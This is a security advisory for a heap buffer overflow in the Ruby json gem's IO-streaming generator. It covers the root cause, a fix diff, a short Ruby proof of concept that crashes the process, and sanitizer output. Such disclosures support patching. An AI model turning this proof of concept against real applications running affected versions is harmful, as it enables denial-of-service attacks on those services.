GHSA-x2f5-4prf-w687
Ruby json: JSON generator heap buffer overflow when streaming to an IO
Quick fix
GHSA-x2f5-4prf-w687 — json: upgrade to the fixed version with the command below.
bundle update json Details
### Summary
`JSON.dump(obj, io)` and `JSON::State#generate(obj, io)` can write past the internal JSON generator buffer when a streamed object contains an attacker-controlled string near 16 KB. The issue is a heap out-of-bounds write in the IO-streaming path and is demonstrated as a reliable process crash / denial of service.
This was triaged on HackerOne as report #3785370. The issue was confirmed there and I was asked to open it here.
### Details
Root cause is in `ext/json/fbuffer/fbuffer.h`, `fbuffer_do_inc_capa()`.
On the IO path, the buffer is grown to `FBUFFER_IO_BUFFER_SIZE` (16383), but the early return checks total capacity instead of remaining capacity:
```c if (RB_UNLIKELY(fb->io)) { if (fb->capa < FBUFFER_IO_BUFFER_SIZE) { fbuffer_realloc(fb, FBUFFER_IO_BUFFER_SIZE); } else { fbuffer_flush(fb); }
if (RB_LIKELY(requested < fb->capa)) { return; } } ```
If `fb->len` already contains JSON syntax bytes, and a string flush has `16383 - fb->len <= requested < 16383`, this check returns even though there is not enough space left. `fbuffer_append_reserved()` then writes past the buffer:
```c MEMCPY(fb->ptr + fb->len, newstr, char, len); ```
The minimal fix is to compare against the remaining capacity:
```diff - if (RB_LIKELY(requested < fb->capa)) { + if (RB_LIKELY(requested <= fb->capa - fb->len)) { return; } ```
### PoC
```ruby require "json" require "stringio"
io = StringIO.new big = "a" * 16385 big[16382] = '"' # escapable byte near the buffer boundary
JSON.dump([big], io) ```
Verified results:
```text Ruby 4.0.5 / bundled json 2.18.0: malloc(): invalid size (unsorted) .../json/common.rb:956: [BUG] Aborted
ruby/ruby master c78418b7a0 / json 2.19.8 / ASan: heap-buffer-overflow WRITE of size 16382 fbuffer_append_reserved ext/json/fbuffer/fbuffer.h:145 search_flush ext/json/generator/generator.c:139 convert_UTF8_to_JSON ext/json/generator/generator.c:231 raw_generate_json_string ext/json/generator/generator.c:922 cState_m_generate ext/json/generator/generator.c:1891 ```
Control: the same data through `JSON.dump([big])` without an IO argument returns normally. The bug is specific to the IO-streaming path.
### Impact
A remote attacker can trigger a heap out-of-bounds write if they control a string field that an application serializes through `JSON.dump(obj, io)` or `JSON::State#generate(obj, io)`. The demonstrated impact is reliable denial of service. I am not claiming code execution or information disclosure.
Are you affected?
Enter the version of the package you're using.
Affected packages
References
- https://github.com/ruby/json/security/advisories/GHSA-x2f5-4prf-w687 [WEB]
- https://nvd.nist.gov/vuln/detail/CVE-2026-54696 [ADVISORY]
- https://github.com/ruby/json/commit/996bac686d64e4e3aaeae03b14a7f9ee9695ebdb [WEB]
- https://github.com/ruby/json [PACKAGE]
- https://github.com/ruby/json/releases/tag/v2.19.9 [WEB]
- https://github.com/rubysec/ruby-advisory-db/blob/master/gems/json/CVE-2026-54696.yml [WEB]